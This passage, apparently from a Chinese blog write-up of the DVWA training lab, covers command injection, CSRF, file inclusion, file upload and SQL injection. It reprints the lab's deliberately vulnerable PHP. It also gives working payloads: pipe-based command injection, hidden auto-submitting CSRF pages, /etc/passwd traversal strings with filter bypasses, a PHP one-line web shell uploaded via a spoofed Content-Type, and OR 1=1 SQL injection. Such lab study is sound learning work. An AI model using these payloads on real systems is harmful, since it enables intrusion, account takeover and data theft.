+<p>在大多数情况下，命令注入攻击是可能的，因为缺少正确的输入数据验证，攻击者可以操纵它（表单，cookie，HTTP头等）。</p>
+<p>操作系统（OS）（例如Linux和Windows）的语法和命令可能不同，具体取决于所需的操作。</p>
+<p>此攻击也可称为“远程命令执行（RCE）”。</p>
+</blockquote>
+<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( $_POST[ <span class="string">'Submit'</span> ]  ) ) &#123;</span><br><span class="line">    <span class="comment">// Get input</span></span><br><span class="line">    $target = $_REQUEST[ <span class="string">'ip'</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Determine OS and execute the ping command.</span></span><br><span class="line">    <span class="keyword">if</span>( stristr( php_uname( <span class="string">'s'</span> ), <span class="string">'Windows NT'</span> ) ) &#123;</span><br><span class="line">        <span class="comment">// Windows</span></span><br><span class="line">        $cmd = shell_exec( <span class="string">'ping  '</span> . $target );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// *nix</span></span><br><span class="line">        $cmd = shell_exec( <span class="string">'ping  -c 4 '</span> . $target );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Feedback for the end user</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">"&lt;pre&gt;&#123;$cmd&#125;&lt;/pre&gt;"</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
+<p>可见，服务器无条件执行了ping $target的命令，如果注入$target = 0 | dir，服务器就会执行dir</p>
+<blockquote>
+<p>管道符号，是unix一个很强大的功能,符号为一条竖线:”|”。<br>用法: command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2</p>
+</blockquote>
+<p><strong>任意命令执行漏洞修补办法</strong><br>在写程序时尽量地使变量不能被用户所控制！且注意变量初始化的问题。</p>
+<p>使用str_replace对“%”，”|”,“&gt;”进行替换</p>
+<p>进入函数前判断变量是否合法。</p>
+<h2 id="medium模式-1"><a href="#medium模式-1" class="headerlink" title="medium模式"></a>medium模式</h2><p>无非就是增加了一个黑名单 &amp;&amp;和；，但还是可以用管道|和&amp;<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">// Set blacklist</span><br><span class="line">$substitutions = array(</span><br><span class="line">    &apos;&amp;&amp;&apos; =&gt; &apos;&apos;,</span><br><span class="line">    &apos;;&apos;  =&gt; &apos;&apos;,</span><br><span class="line">);</span><br></pre></td></tr></table></figure></p>
+<p>这里需要注意的是”&amp;&amp;”与”&amp;”的区别：<br>Command 1&amp;&amp;Command 2<br>先执行Command 1，执行成功后执行Command 2，否则不执行Command 2<br>Command 1&amp;Command 2<br>先执行Command 1，不管是否成功，都会执行Command 2</p>
+<p>更聪明的做法是利用&amp;;&amp;，黑名单会将其转化为&amp;&amp;</p>
+<h1 id="CSRF"><a href="#CSRF" class="headerlink" title="CSRF"></a>CSRF</h1><h2 id="easy模式-2"><a href="#easy模式-2" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
+<p>CSRF跨站请求伪造是一种攻击，它强制终端用户在当前对其进行身份验证的Web应用程序上执行不需要的操作。在社交工程的帮助下（例如通过电子邮件/聊天发送链接），攻击者可能会强制Web应用程序的用户执行攻击者选择的操作。<br>成功的CSRF利用可能会损害最终用户数据和普通用户的操作。如果目标最终用户是管理员帐户，则可能会危及整个Web应用程序。<br>此攻击也可称为“XSRF”，类似于“跨站点脚本（XSS）”，它们通常一起使用。<br>您的任务是让当前用户使用CSRF攻击更改自己的密码，而无需他们了解自己的操作。</p>
+</blockquote>
+<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( $_GET[ <span class="string">'Change'</span> ] ) ) &#123;</span><br><span class="line">    <span class="comment">// Get input</span></span><br><span class="line">    $pass_new  = $_GET[ <span class="string">'password_new'</span> ];</span><br><span class="line">    $pass_conf = $_GET[ <span class="string">'password_conf'</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Do the passwords match?</span></span><br><span class="line">    <span class="keyword">if</span>( $pass_new == $pass_conf ) &#123;</span><br><span class="line">        <span class="comment">// They do!</span></span><br><span class="line">        $pass_new = ((<span class="keyword">isset</span>($GLOBALS[<span class="string">"___mysqli_ston"</span>]) &amp;&amp; is_object($GLOBALS[<span class="string">"___mysqli_ston"</span>])) ? mysqli_real_escape_string($GLOBALS[<span class="string">"___mysqli_ston"</span>],  $pass_new ) : ((trigger_error(<span class="string">"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."</span>, E_USER_ERROR)) ? <span class="string">""</span> : <span class="string">""</span>));</span><br><span class="line">        $pass_new = md5( $pass_new );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Update the database</span></span><br><span class="line">        $insert = <span class="string">"UPDATE `users` SET password = '$pass_new' WHERE user = '"</span> . dvwaCurrentUser() . <span class="string">"';"</span>;</span><br><span class="line">        $result = mysqli_query($GLOBALS[<span class="string">"___mysqli_ston"</span>],  $insert ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">'&lt;pre&gt;'</span> . ((is_object($GLOBALS[<span class="string">"___mysqli_ston"</span>])) ? mysqli_error($GLOBALS[<span class="string">"___mysqli_ston"</span>]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : <span class="keyword">false</span>)) . <span class="string">'&lt;/pre&gt;'</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Feedback for the user</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">"&lt;pre&gt;Password Changed.&lt;/pre&gt;"</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// Issue with passwords matching</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">"&lt;pre&gt;Passwords did not match.&lt;/pre&gt;"</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ((is_null($___mysqli_res = mysqli_close($GLOBALS[<span class="string">"___mysqli_ston"</span>]))) ? <span class="keyword">false</span> : $___mysqli_res);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
+<p>服务器通过GET方式接收修改密码的请求，会检查参数password_new与password_conf是否相同，如果相同，就会修改密码，没有任何的防CSRF机制（当然服务器对请求的发送者是做了身份验证的，是检查的cookie，只是这里的代码没有体现）。</p>
+<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">GET /vulnerabilities/csrf/?password_new=123&amp;password_conf=123456&amp;Change=Change HTTP/1.1</span><br><span class="line">Host: 192.168.31.84:81</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3</span><br><span class="line">Referer: http://192.168.31.84:81/vulnerabilities/csrf/?password_new=password&amp;password_conf=123&amp;Change=Change</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9,en;q=0.8</span><br><span class="line">Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low</span><br><span class="line">Connection: close</span><br></pre></td></tr></table></figure>
+<p>根据拦截的http请求，可以伪造如下链接让受害者点击，从而修改密码<br><code>http://ip:port/vulnerabilities/csrf/?password_new=test&amp;password_conf=test&amp;Change=Change</code></p>
+<p>更具隐藏性的方式：<br>1.使用短链接来隐藏 URL：<br>为了更加隐蔽，可以生成短网址链接，点击短链接，会自动跳转到真实网站：<br><a href="http://tinyurl.com/yd2gogtv" target="_blank" rel="noopener">http://tinyurl.com/yd2gogtv</a><br>PS:提供一个短网址生成网站<br>2.构造攻击页面：</p>
+<ul>
+<li>方式 1 通过img标签中的src属性来加载CSRF攻击利用的URL，并进行布局隐藏，实现了受害者点击链接则会将密码修改。</li>
+<li>方式 2 查看页面html源代码，将关于密码操作的表单部分，通过javascript的onload事件加载和css代码来隐藏布局，按GET传递参数的方式，进一步构造html form表单，实现了受害者点击链接则会将密码修改。<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">body</span> <span class="attr">onload</span>=<span class="string">"javascript:csrf()"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined"></span></span><br><span class="line"><span class="undefined">function csrf()&#123;</span></span><br><span class="line"><span class="undefined">document.getElementById("button").click();</span></span><br><span class="line"><span class="undefined">&#125;</span></span><br><span class="line"><span class="undefined"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="undefined"></span></span><br><span class="line"><span class="undefined">form&#123;</span></span><br><span class="line"><span class="undefined">display:none;</span></span><br><span class="line"><span class="undefined">&#125;</span></span><br><span class="line"><span class="undefined"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">"http://www.dvwa.com/vulnerabilities/csrf/?"</span> <span class="attr">method</span>=<span class="string">"GET"</span>&gt;</span></span><br><span class="line">        New password:<span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"password"</span> <span class="attr">AUTOCOMPLETE</span>=<span class="string">"off"</span> <span class="attr">name</span>=<span class="string">"password_new"</span> <span class="attr">value</span>=<span class="string">"test"</span>&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line">        Confirm new password:<span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"password"</span> <span class="attr">AUTOCOMPLETE</span>=<span class="string">"off"</span> <span class="attr">name</span>=<span class="string">"password_conf"</span> <span class="attr">value</span>=<span class="string">"test"</span>&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"submit"</span> <span class="attr">id</span>=<span class="string">"button"</span> <span class="attr">name</span>=<span class="string">"Change"</span> <span class="attr">value</span>=<span class="string">"Change"</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure>
+</li>
+</ul>
+<p>构造攻击页面</p>
+<p>现实攻击场景下，这种方法需要事先在公网上传一个攻击页面，诱骗受害者去访问，真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示，就在本地写一个test.html，下面是具体代码。</p>
+<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;img src=&quot;http://192.168.31.84:81/vulnerabilities/csrf/?password_new=111&amp;password_conf=111&amp;Change=Change# border=&quot;0&quot; style=&quot;display:none;&quot;/&gt;</span><br><span class="line">&lt;h1&gt;404&lt;/h1&gt;</span><br><span class="line">&lt;h2&gt;file not found.&lt;/h2&gt;</span><br></pre></td></tr></table></figure>
+<p>当受害者访问test.html时，会误认为是自己点击的是一个失效的url，但实际上已经遭受了CSRF攻击，密码已经被修改为了hack。</p>
+<h2 id="medium模式-2"><a href="#medium模式-2" class="headerlink" title="medium模式"></a>medium模式</h2><p>检查 HTTP_REFERER（http包头的Referer参数的值，表示来源地址）中是否包含SERVER_NAME（http包头的Host参数，及要访问的主机名，）<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// Checks to see where the request came from</span><br><span class="line">    if( stripos( $_SERVER[ &apos;HTTP_REFERER&apos; ] ,$_SERVER[ &apos;SERVER_NAME&apos; ]) !== false ) &#123;</span><br></pre></td></tr></table></figure></p>
+<p>想要通过验证，就必须保证在http请求中Referer字段中必须包含Host<br>我们这需要把上面的攻击页面名字改成包含host就可以了。(把攻击页面放在服务器上)</p>
+<h1 id="文件包含"><a href="#文件包含" class="headerlink" title="文件包含"></a>文件包含</h1><h2 id="easy模式-3"><a href="#easy模式-3" class="headerlink" title="easy模式"></a>easy模式</h2><p>某些Web应用程序允许用户指定直接用于文件流的输入，或允许用户将文件上载到服务器。稍后，Web应用程序访问Web应用程序上下文中的用户提供的输入。通过这样做，Web应用程序允许潜在的恶意文件执行。<br>如果选择要包含的文件在目标计算机上是本地的，则称为“本地文件包含（LFI）。但是文件也可以包含在其他计算机上，然后攻击是”远程文件包含（RFI）。<br>当RFI不是一种选择时。使用LFI的另一个漏洞（例如文件上传和目录遍历）通常可以达到同样的效果。<br>注意，术语“文件包含”与“任意文件访问”或“文件公开”不同。<br>只使用文件包含来阅读’../hackable/flags/fi.php’中的所有五个着名引号。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">// The page we wish to display</span><br><span class="line">$file = $_GET[ &apos;page&apos; ];</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure></p>
+<p>文件包含漏洞的一般特征如下：</p>
+<p>?page=a.php</p>
+<p>?home=a.html</p>
+<p>?file=content</p>
+<p>几种经典的测试方法：</p>
+<p>?file=../../../../../etc/passwdd<br>?page=file:///etc/passwd<br>?home=main.cgi<br>?page=<a href="http://www.a.com/1.php" target="_blank" rel="noopener">http://www.a.com/1.php</a><br>=<a href="http://1.1.1.1/../../../../dir/file.txt" target="_blank" rel="noopener">http://1.1.1.1/../../../../dir/file.txt</a><br>（通过多个../可以让目录回到根目录中然后再进入目标目录）</p>
+<h2 id="medium模式-3"><a href="#medium模式-3" class="headerlink" title="medium模式"></a>medium模式</h2><p>增加对绝对路径http和相对路径的检查<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">// Input validation</span><br><span class="line">$file = str_replace( array( &quot;http://&quot;, &quot;https://&quot; ), &quot;&quot;, $file );</span><br><span class="line">$file = str_replace( array( &quot;../&quot;, &quot;..\&quot;&quot; ), &quot;&quot;, $file );</span><br></pre></td></tr></table></figure></p>
+<p>但依然可以使用?page=file:///etc/passwd<br>以及重复字符过滤方法,构造url</p>
+<ol>
+<li>构造url为httphttp://  –&gt; http</li>
+<li>构造url为httphttp://://  –&gt;http://</li>
+<li>构造url为…/./   –&gt;  ../</li>
+</ol>
+<h1 id="文件上传"><a href="#文件上传" class="headerlink" title="文件上传"></a>文件上传</h1><h2 id="easy模式-4"><a href="#easy模式-4" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
+<p>上传的文件对Web应用程序构成重大风险。许多攻击的第一步是将一些代码提供给系统进行攻击。然后攻击者只需要找到一种方法来执行代码。使用文件上传有助于攻击者完成第一步。<br>不受限制的文件上载的后果可能会有所不同，包括完整的系统接管，过载的文件系统，向后端系统转发攻击以及简单的污损。这取决于应用程序对上传文件的作用，包括存储位置。<br>由于此文件上载漏洞，请在目标系统上执行您选择的任何PHP函数（例如phpinfo（）或system（））。</p>
+</blockquote>
+<p>一句话木马1.php文件：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">echo shell_exec($_GET[&apos;cmd&apos;]);</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure></p>
+<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( $_POST[ <span class="string">'Upload'</span> ] ) ) &#123;</span><br><span class="line">    <span class="comment">// Where are we going to be writing to?</span></span><br><span class="line">    $target_path  = DVWA_WEB_PAGE_TO_ROOT . <span class="string">"hackable/uploads/"</span>;</span><br><span class="line">    $target_path .= basename( $_FILES[ <span class="string">'uploaded'</span> ][ <span class="string">'name'</span> ] );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Can we move the file to the upload folder?</span></span><br><span class="line">    <span class="keyword">if</span>( !move_uploaded_file( $_FILES[ <span class="string">'uploaded'</span> ][ <span class="string">'tmp_name'</span> ], $target_path ) ) &#123;</span><br><span class="line">        <span class="comment">// No</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// Yes!</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">"&lt;pre&gt;&#123;$target_path&#125; succesfully uploaded!&lt;/pre&gt;"</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
+<h2 id="medium模式-4"><a href="#medium模式-4" class="headerlink" title="medium模式"></a>medium模式</h2><p>增加了对文件类型和大小的过滤，只允许图片上传<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">// File information</span><br><span class="line">$uploaded_name = $_FILES[ &apos;uploaded&apos; ][ &apos;name&apos; ];</span><br><span class="line">$uploaded_type = $_FILES[ &apos;uploaded&apos; ][ &apos;type&apos; ];</span><br><span class="line">$uploaded_size = $_FILES[ &apos;uploaded&apos; ][ &apos;size&apos; ];</span><br><span class="line"></span><br><span class="line">// Is it an image?</span><br><span class="line">if( ( $uploaded_type == &quot;image/jpeg&quot; || $uploaded_type == &quot;image/png&quot; ) &amp;&amp;</span><br><span class="line">    ( $uploaded_size &lt; 100000 ) ) &#123;</span><br></pre></td></tr></table></figure></p>
+<p>用burpsuite拦截修改Content-Type: application/octet-stream为Content-Type: image/jpeg。成功上传：<br><a href="http://192.168.31.84:81/hackable/uploads/1.php?cmd=ls" target="_blank" rel="noopener">http://192.168.31.84:81/hackable/uploads/1.php?cmd=ls</a></p>
+<h1 id="SQL注入"><a href="#SQL注入" class="headerlink" title="SQL注入"></a>SQL注入</h1><h2 id="easy模式-5"><a href="#easy模式-5" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
+<p>SQL注入攻击包括通过从客户端到应用程序的输入数据插入或“注入”SQL查询。成功的SQL注入攻击可以从数据库中读取敏感数据，修改数据库数据（插入/更新/删除），对数据库执行管理操作（如关闭DBMS），恢复DBMS文件中存在的给定文件的内容system（load_file），在某些情况下向操作系统发出命令。<br>SQL注入攻击是一种注入攻击，其中SQL命令被注入到数据平面输入中，以便实现预定义的SQL命令。<br>这种攻击也可称为“SQLi”。</p>
+</blockquote>
+<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">if( isset( $_REQUEST[ &apos;Submit&apos; ] ) ) &#123;</span><br><span class="line">    // Get input</span><br><span class="line">    $id = $_REQUEST[ &apos;id&apos; ];</span><br><span class="line"></span><br><span class="line">    // Check database</span><br><span class="line">    $query  = &quot;SELECT first_name, last_name FROM users WHERE user_id = &apos;$id&apos;;&quot;;</span><br><span class="line">    $result = mysqli_query($GLOBALS[&quot;___mysqli_ston&quot;],  $query ) or die( &apos;&lt;pre&gt;&apos; . ((is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_error($GLOBALS[&quot;___mysqli_ston&quot;]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . &apos;&lt;/pre&gt;&apos; );</span><br><span class="line"></span><br><span class="line">    // Get results</span><br><span class="line">    while( $row = mysqli_fetch_assoc( $result ) ) &#123;</span><br><span class="line">        // Get values</span><br><span class="line">        $first = $row[&quot;first_name&quot;];</span><br><span class="line">        $last  = $row[&quot;last_name&quot;];</span><br><span class="line"></span><br><span class="line">        // Feedback for end user</span><br><span class="line">        echo &quot;&lt;pre&gt;ID: &#123;$id&#125;&lt;br /&gt;First name: &#123;$first&#125;&lt;br /&gt;Surname: &#123;$last&#125;&lt;/pre&gt;&quot;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    mysqli_close($GLOBALS[&quot;___mysqli_ston&quot;]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure>
+<p>在做查询操作时，未对$id做任何限制，直接传入了sql语句，造成字符型注入</p>
+<p>原SELECT语句<br><code>SELECT first_name, last_name FROM users WHERE user_id = &#39;$id&#39;;</code><br>中的$id可以任意输入。<br>当输入$id=123’ OR 1=1#时，SELECT语句变成了<br><code>SELECT first_name, last_name FROM users WHERE user_id = &#39;123&#39; OR 1=1#&#39;;</code><br>此时最后一个引号被#注释，同时1=1永远返回TRUE，这就导致所有用户的姓名泄露。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">ID: 123&apos; OR 1=1#</span><br><span class="line">First name: admin</span><br><span class="line">Surname: admin</span><br><span class="line">ID: 123&apos; OR 1=1#</span><br><span class="line">First name: Gordon</span><br><span class="line">Surname: Brown</span><br><span class="line">ID: 123&apos; OR 1=1#</span><br><span class="line">First name: Hack</span><br><span class="line">Surname: Me</span><br><span class="line">ID: 123&apos; OR 1=1#</span><br><span class="line">First name: Pablo</span><br><span class="line">Surname: Picasso</span><br><span class="line">ID: 123&apos; OR 1=1#</span><br><span class="line">First name: Bob</span><br><span class="line">Surname: Smith</span><br></pre></td></tr></table></figure></p>
+<p>那如果想要得到密码该怎么做，UNION 操作符用于合并两个或多个 SELECT 语句的结果集，我们可以这样构造id<br><code>$id=123&#39; or 1=1# union SELECT first_name,password FROM</code><br>但貌似表里没有password<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">users</span><br><span class="line">ID: 123&apos; or 1=1# union SELECT first_name,password FROM users</span><br><span class="line">First name: admin</span><br><span class="line">Surname: admin</span><br><span class="line">ID: 123&apos; or 1=1# union SELECT first_name,password FROM users</span><br><span class="line">First name: Gordon</span><br><span class="line">Surname: Brown</span><br><span class="line">ID: 123&apos; or 1=1# union SELECT first_name,password FROM users</span><br><span class="line">First name: Hack</span><br><span class="line">Surname: Me</span><br><span class="line">ID: 123&apos; or 1=1# union SELECT first_name,password FROM users</span><br><span class="line">First name: Pablo</span><br><span class="line">Surname: Picasso</span><br><span class="line">ID: 123&apos; or 1=1# union SELECT first_name,password FROM users</span><br><span class="line">First name: Bob</span><br><span class="line">Surname: Smith</span><br></pre></td></tr></table></figure></p>
+<h2 id="medium模式-5"><a href="#medium模式-5" class="headerlink" title="medium模式"></a>medium模式</h2><p>前端只能选择，前源码过滤了字符<br><code>$id = mysqli_real_escape_string($GLOBALS[&quot;___mysqli_ston&quot;], $id);</code><br>其中受影响的字符如下：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">\x00</span><br><span class="line">\n</span><br><span class="line">\r</span><br><span class="line">\</span><br><span class="line">&apos;</span><br><span class="line">&quot;</span><br><span class="line">\x1a</span><br></pre></td></tr></table></figure></p>
+<p>但由于其为字符型注入，因此防御手段形同虚设<br>构造id=1 or 1=1#即得到所有用户信息</p>
+<h1 id="SQL盲注"><a href="#SQL盲注" class="headerlink" title="SQL盲注"></a>SQL盲注</h1><blockquote>
+<p>盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。<br>1.判断是否存在注入，注入是字符型还是数字型<br>2.猜解当前数据库名<br>3.猜解数据库中的表名<br>4.猜解表中的字段名<br>5.猜解数据</p>
+</blockquote>
+<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">if( isset( $_GET[ &apos;Submit&apos; ] ) ) &#123;</span><br><span class="line">    // Get input</span><br><span class="line">    $id = $_GET[ &apos;id&apos; ];</span><br><span class="line"></span><br><span class="line">    // Check database</span><br><span class="line">    $getid  = &quot;SELECT first_name, last_name FROM users WHERE user_id = &apos;$id&apos;;&quot;;</span><br><span 